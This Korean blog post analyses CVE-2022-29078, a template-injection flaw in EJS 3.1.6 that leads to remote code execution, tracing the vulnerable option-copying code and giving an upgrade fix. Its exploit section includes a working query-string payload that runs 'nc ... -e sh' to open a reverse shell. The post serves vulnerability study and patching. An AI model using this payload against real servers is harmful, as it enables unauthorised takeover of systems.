Home CVE-2022-29078 EJS SSTI RCE
Post
Cancel

CVE-2022-29078 EJS SSTI RCE

개요

NodeJS의 EJS (Embedded JavaScript Templates) 3.1.6 이하 버전에서 SSTI(Server-Side Template Injection) 취약점이 발생했다.

해당 취약점은 EJS가 HTML로 랜더링될 때 settings[view options][outputFunctionName] 값을 얕은 복사로 덮어씌워, 최종적으로 OS Command를 삽입하여 RCE까지 발생시킬 수 있다.

Analysis

Lab Setup

  • Installation
1
2
npm install ejs@3.1.6
npm install express
  • Files
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// app.js
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    res.render('index', req.query);
});

app.listen(PORT, ()=> {
    console.log(`Server is running on ${PORT}`);
});
1
2
3
4
5
6
7
8
9
10
11
<!-- index.ejs -->
<html>
    <head>
        <title>Lab CVE-2022-29078</title>
    </head>

    <body>
        <h2>CVE-2022-29078</h2>
        <%= test %>
    </body>
</html>

Vuln Code

먼저 코드를 살펴보면 다음과 같이 index.ejsreq.query를 전달하는 것을 확인할 수 있다.

req.query 처럼 데이터가 render 될때 어디로 가는지 파악할 필요가 있다.

그리고 Node_Modules의 ejs/lib/ejs.js 파일을 보다보면 다음과 같은 코드부분을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/**
 * Render an EJS file at the given `path` and callback `cb(err, str)`.
 *
 * If you would like to include options but not data, you need to explicitly
 * call this function with `data` being an empty object or `null`.
 *
 * @param {String}             path     path to the EJS file
 * @param {Object}            [data={}] template data
 * @param {Options}           [opts={}] compilation and rendering options
 * @param {RenderFileCallback} cb callback
 * @public
 */

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  // Do we have a callback?
  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  }
  else {
    data = {};
  }

  return tryHandleCache(opts, data, cb);
};

위 코드에서 자세히보면 다음과 같은 코드 부분이 독특한 것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
...
if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
...

dataargs.shift() 값이 들어가는 것을 확인할 수 있는데 curl 요청, curl "127.0.0.1:3000?test=AAAA"을 전송해보고 디버깅을 통해서 해보고 확인하면 다음 그림과 같다.

Untitled

data안에 사용자가 입력한 파라미터 test 및 값인 AAAA가 들어간 것을 확인할 수 있다.

요기서 조금 더 코드의 아랫부분을 살펴보면 다음과 같은 코드를 확인할 수 있다.

1
2
3
4
5
6
...
viewOpts = data.settings['view options'];
    if (viewOpts) {
        utils.shallowCopy(opts, viewOpts);
    }
...

data안에 settings['view options']viewOpts 변수에 저장되며, 해당 값이 존재 하면 utils.shallowCopy 함수가 실행된다.

사용자는 data의 값을 조작할 수 있으므로, settings['view options'] 를 강제로 삽입하고, 원하는 값을 설정할 수 있다.

먼저 원하는 값을 넣을 수 있는지 viewOpts = data.settings['view options']; 에 BreakPoint를 걸고 viewOpts 값을 확인해보면 다음과 같다.

  • curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[A\]=BBBB"

Untitled

정상적으로 viewOpts 값을 바꾼것을 확인할 수 있다.

다음으로는 핵심 기능인 shallowCopy의 함수를 살펴보면 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// node_modules/ejs/lib/utils.js
/**
 * Naive copy of properties from one object to another.
 * Does not recurse into non-scalar properties
 * Does not check to see if the property has a value before copying
 *
 * @param  {Object} to   Destination object
 * @param  {Object} from Source object
 * @return {Object}      Destination object
 * @static
 * @private
 */
exports.shallowCopy = function (to, from) {
  from = from || {};
  for (var p in from) {
    to[p] = from[p];
  }
  return to;
};

이름에서 알 수 있듯이 얕은 복사를 하는 코드다. 즉, 2번째로 입력된 인자의 원소들을 뽑고, 원소를 이용한 배열의 값을 1번째 인자의 같은 원소를 갖는 배열에 넣어 저장한다.

Untitled

그림에서 알 수 있듯이 to['A']BBBB라는 값이 저장된 것을 확인할 수 있다. 즉, 사용자는 첫 인자를 조작할 수 있다.

요기서 첫인자는 opts라는 변수가 넘어가는데, opts 변수는 추후에 다음과 같은 함수에서 사용된다.

1
2
3
4
5
6
7
8
9
10
11
...
    if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts.destructuredLocals && opts.destructuredLocals.length) {
...

코드에서 어느정도 알 수 있듯이, optsoutputFunctionName 원소 값을 갖고와서 prepended에 넣으며 해당 값은 추후에 다른 값들과 이어져 code로써 실행이된다.

사용자는 opts를 조작할 수 있음으로 outputFunctionName 값 또한 변조할 수 있어 원하는 값을 RCE를 발생 시킬 수 있다.

  • curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;console.log('Hacked');x"

Untitled

Exploit PoC

Exploit은 비교적 간단하다. child_processrequire한 뒤 execSync를 통해 Reverse Shell을 하면 된다.

1
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc 127.0.0.1 8862 -e sh');x"
  • curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('nc%20127.0.0.1%208862%20-e%20sh');x"

Untitled

Mitigation

  • EJS 3.1.7 이상 버전으로 업데이트

다음과 같이 코드를 수정하여 RCE를 막았다.

Untitled

참고

CVSS Info

Analysis

This post is licensed under CC BY 4.0 by the author.

HTTP Request Smuggling(HRS)

Prototype Pollution이란?